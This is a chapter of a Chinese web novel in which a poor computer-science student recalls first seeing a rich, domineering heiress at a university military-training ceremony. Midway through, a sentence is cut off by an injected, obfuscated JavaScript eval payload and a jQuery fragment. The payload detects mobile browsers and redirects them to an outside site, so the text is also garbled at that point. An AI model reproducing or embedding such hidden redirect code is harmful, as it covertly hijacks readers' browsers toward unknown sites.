3. 第 3 章
作品:《野玫瑰与忠犬》 苏云微看清了眼前这个收银员的样貌,她家是开娱乐公司起家的,所以从小她就是泡在帅哥美女堆里长大的,这让她看人的眼光都变得分外挑剔些。
眼前这个男孩个子很高,站起来后让刚刚还宽裕的收银台顿时感觉局促了许多。身材也不错,肩宽腰窄,身姿挺拔。
最难得的是他身上“天然去雕饰”的气质,宛如丛林里一棵挂满露珠的青竹,又像山谷间劈开薄雾的一道峰棱。
他穿着一件单薄的白色衬衫,这是他为军训汇报演出时作为学生代表讲话特意买的。男人的衬衫真是“一分价钱一分货”的东西,无论面料还是剪裁,贵的和便宜的肉眼看起来可谓是天差地别。
但奈何江逾白这张脸和周身的气质都实在太过顶级,硬是衬得他身上那身衬衫上的褶皱都变得像是精心设计的工艺手法。
苏云微钟爱穿衬衫好看的男人,而他俨然是她见过最适合这样装扮的。极度清秀、极度素净、极度淡雅的衣着,反而衬得他干净清爽。
如果他是娱乐圈的新人,苏云微基本可以断定他估计没两年就会顶着“国民初恋”的噱头名声大噪。
他刚刚看的书封面上印着“江城大学”几个字,好像是计算机系的教材,之前她好像看到过沈嘉礼也在学这本书。
江城大学的学生,怎么会深夜在便利店打工?
他胸前挂着的员工证上写着他的名字,“江逾白”,这个名字倒是有点耳熟,但是她此时怎么也想不起来到底在哪里听过了。
江逾白注意到对面的女生正在目不转睛地打量着他。她的眼睛很漂亮,是一双灿若明珠的狐狸眼,但她看人时,眼底总带着那么几分凉意,就像是手术台上金属器械上闪着的那点银光。
她似乎对他毫无印象,不过他倒是认出来了她。
第一次见到她时,是新生军训汇报演出。那天他被选作新生代表,即将登台发言。
他站在主席台后面的候场室里,手上捏着那张已经被翻看得皱皱巴巴的稿子,心里将这段滚瓜烂熟的内容反复拿出来继续默背确认。
“紧张?喝点水,深呼吸冷静一下。”学长梁源宥似乎看出了他的坐立难安,友善地给他递了一瓶矿泉水,拍了拍他的肩膀,示意他放松,“没关系的,底下真的都没几个人会仔细听的,犯错了也没事。”
而江逾白最害怕的就是犯错,他的人生就是一直在悬崖边行走,行将踏错一步就会掉入万劫不复的深渊。
他担不起任何犯错的后果。
“别说,你们计院够可以的啊,连续两届状元都选了你们院,江山代有才人出啊。”路过的土木院学长打趣道。
“你嘴可真够欠的,和你说了多少次,叫我们院大名!”梁源宥冷脸回应。
“哎!哎!哎!你们猜今天谁来了?”江逾白的舍友陈浩然从外面急急忙忙地冲了进来。原本他是陪江逾白到候场室的,刚刚被学长顺势指使着去当搬矿泉水的苦力了。
“谁啊?人猿泰山?”梁源宥和陈浩然是一个高中毕业的,因此关系亲近,熟捻地调侃他。
“是苏云微!”他话音未落,候场室的所有人都不约而同停下了手里的事情,瞬间把他围个水泄不通。
“怎么可能?她不是连军训都被特许不用参加的吗?怎么可能会来参加汇报演出?”
“来给艺术学院举牌子的呗,一般不都是默认院系最漂亮的女生来吗?那艺术学院还有谁比她更合适?”
“凭什么我们都要迎着毒辣的太阳军训,她就可以不用来啊!这也太不公平了!”
“就凭我们学校计算机中心和实训基地好几个都是她家捐的。去年校庆她爸直接大手一挥给我们学校捐了三个亿,还设立了腾云专项奖学金,获奖者一个人直接给十万呢。她要是愿意,别说军训不来了,骑在校领导头上,搞不好也不是不可能的事。”
“切,有钱了不起啊!”
“不过她真有那么漂亮吗?陈浩然,你和她不都是玄英外国语高中毕业的吗?你见过她吗?”
“当然!你也不想想她妈妈是谁啊!她长得就和她妈一个模子刻出来的,能不美吗?”陈浩然洋洋得意地抬起下巴。
“像她妈?那真的很美了!”周围的学生七嘴八舌地议论着,而江逾白根本挤不进这个讨论的话题。
毕竟这个话题的中心人物“苏云微”,他从没听过。
“哇哇哇,看江逾白的神情,你不会连她妈是谁,都不知道吧?”陈浩然大惊小怪地捂住了自己的胸口。
看着他夸张的动作,江逾白只能尴尬地摇了摇头。
“天呐,你不是江城人吗?竟然不知道我们江城最出名的有两朵花,一朵是秣陵山上的市花梅花,另一朵就是被称为二十世纪第一明珠、娱乐圈最年轻的影后大满贯得主——林薇啊,林影后就是苏云微的妈妈。”
“长得漂亮,还是光影国际老总的独生女,这幸运值拉满的人生啊,真是让人羡慕嫉妒恨。”
江城不缺豪门,老钱家族地位稳固,后起之秀蓄势待发,但苏云微身份特殊就特殊在苏煜辰只有她这一个女儿。
江城家里有点家底的,基本上都倡导多子多福,而且普遍都会想要一个儿子,哪怕家里那个不能生了,也会想尽办法在外面养几个。因此江城豪门里独生子已经是屈指可数了,像苏煜辰这样妻子去世快十年都没有再娶,身边也没有任何莺莺燕燕,膝下仅有一个女儿相伴的,整个江城也只此一例。
江逾白虽是江城人,但生在江城最偏远村落,那个地方每天只有两趟中巴车往返城里,因此对他们现在谈论的这些人名,只觉得遥远陌生得像是另一个世界的产物。
“她来了——她来了——”旁边的人低声疾呼,江逾白顺着他们手指的方向,看到操场入口处走进来一大批青春靓丽的女生。
“你认得出哪个是苏云微吗?”陈浩然在他耳边窃窃私语。
认得出,他一眼就认出来了。
她穿着一条冰蓝色的裙子,上面手工镶嵌着数千颗幻彩闪钻,如同将一条璀璨银河披在了自己的身上。宽大的裙摆刚好露出她纤细的脚踝,她脚上蹬着的那双细高跟同样缀满碎钻,像是把夜空中最璀璨的星辰装饰到了自己的足尖,每一步都那么耀眼夺目。
她的头发是极其张扬的正红色,此刻被精心卷成了完美的弧度,一顶奢华典雅的王冠正稳稳地落坐在她的头发上。
她走在人群中,像是一丛典雅含蓄的白樱中突然生出了一枝肆意张狂的玫瑰。
她的美貌里没有讨好迎合的意味,反而是浑身长满了桀骜的小刺。
这是一朵迷人又危险的野玫瑰。
“看看你们一个个没出息的,都看呆了吧,”陈浩然在旁边发出一阵尖锐的讥笑,“擦擦口水吧各位,人家可是早就名花有主了。她未婚夫沈嘉礼可是沈氏集团的大公子啊,不是尔等可以肖想的人啊!”
“她那个头发是爱丽儿红吧,你别说,这颜色还怪时尚的,哪天要不我也去整一个?”一旁的学姐摸了摸自己的头发。
“其实我觉得吧,这个时尚的完成度吧,主要看脸······”陈浩然话音未落,就遭到几记响
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342140|199394||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亮的重锤,他不得不被武力压制着咽下了自己还没说完的话。
“江逾白,你怎么愣在这?还有两分钟到你了,快去吧。”听到学姐的提醒,他才如梦初醒般,向主席台阔步疾行。
“可以啊你小子,深藏不露啊。刚刚看你在下面还那么忐忑,没想到真的上台了讲的那么好。不过你刚刚怎么去了那么久啊?”江逾白走到班级的座位区,陈浩然用手肘撞了撞他,对他的演讲给予高度肯定。
“刚刚导员找我。”
“那可惜了,你错过了刚刚苏云微举牌子的样子,那场面相当热闹了!”
他知道,刚刚运动场里骤然变大的欢呼声一定是与她有关的,虽然站在主席台后面的阴暗处,可他还是分毫不差地听见了。
“你看刚刚苏云微,不过是举个牌子而已,她竟然夸张到要穿全身jimmyChoo来,生怕别人不知道她家有钱是吧!”
“她本来不就是那种招摇过市、目中无人的性格吗,你看唐悦瑶完全被她当佣人使唤······”
旁边两个女生的话虽然刻意降低了音量,但还是一字一句都传到了江逾白耳中,他走过去打断了她们:“不好意思,借过一下。”那两个女生起身摆手示意他快点过去。
“你们觉得夸张的,不过是我的日常而已。这么会拈酸吃醋,改天我家投资造醋厂,一定请你们两去坐镇,别浪费了你们这么好的造醋手艺。”
一排人齐齐回头,看到苏云微正站在上面的台阶上,正扬着下巴居高临下地审视着刚刚说话的两个女生。
那两个女生脸色登时煞白,在江城九月烈日的照耀下牙齿也止不住地在打寒颤:“怎么办,她听到了,忘记艺术学院就和我们隔一个过道了。”
“听说玄外以前有个女生得罪了她,直接被她整退学了,我们不会······”
“微微,你要的果汁买来了!”唐悦瑶气喘吁吁地拎着一大袋饮料小跑过来,“草莓现在不是应季,我跑遍了学校周围的茶饮店都没找到,所以就买了点冰西瓜汁。这杯是不加糖的,但是味道可能会有点寡淡,你喜欢甜一点,所以我又买了杯加糖的······”真是细心周到,体贴入微。
“知道了,你慢死了。”苏云微接过其中一杯,头也不回地走到了艺术学院的座位区里。
“刚刚那两个女生是怎么回事?”唐悦瑶给其中一杯插上吸管,猛吸上一口,冰凉的饮料瞬间缓解了酷暑的炎热。
“没事,我已经吓过她们了。”
“微微,你今天的裙子真漂亮。”唐悦瑶由衷地夸赞道。
“我昨天去jimmyChoo店里时也给你定了一套,是婚纱系列的,比我这个裙摆更大,更亮眼,过两天店员会联系你到店去修改尺寸的。我要让你在迎新晚会上艳压全场,尤其是压过你那个继姐孟梓华。”苏云微咬着吸管漫不经心地回应她。
“这怎么行,你太破费了······”唐悦瑶没忍住,眼眶红了一圈,但注意到苏云微蹙起的眉头,她用力地眨了一下眼睛,硬生生把感动的泪花压了回去。
“我最烦和别人推拉了,给你你就接着。况且,孟梓华一个舞蹈生,为了盖过你的风头,竟然来抢你们播音主持的饭碗,硬生生把别人挤掉,自己上去主持,真是不要脸啊。不信你到时候看,她绝对会十个指头戴二十个戒指上台的。”余光瞥见一个逐渐僵硬的背影,苏云微的声量愈发拔高。
孟梓华心里咒骂个不停,但脖子就像灌进钢筋水泥一样,丝毫不敢动弹,生怕对上苏云微的目光,迎来更为尖酸刻薄的羞辱。

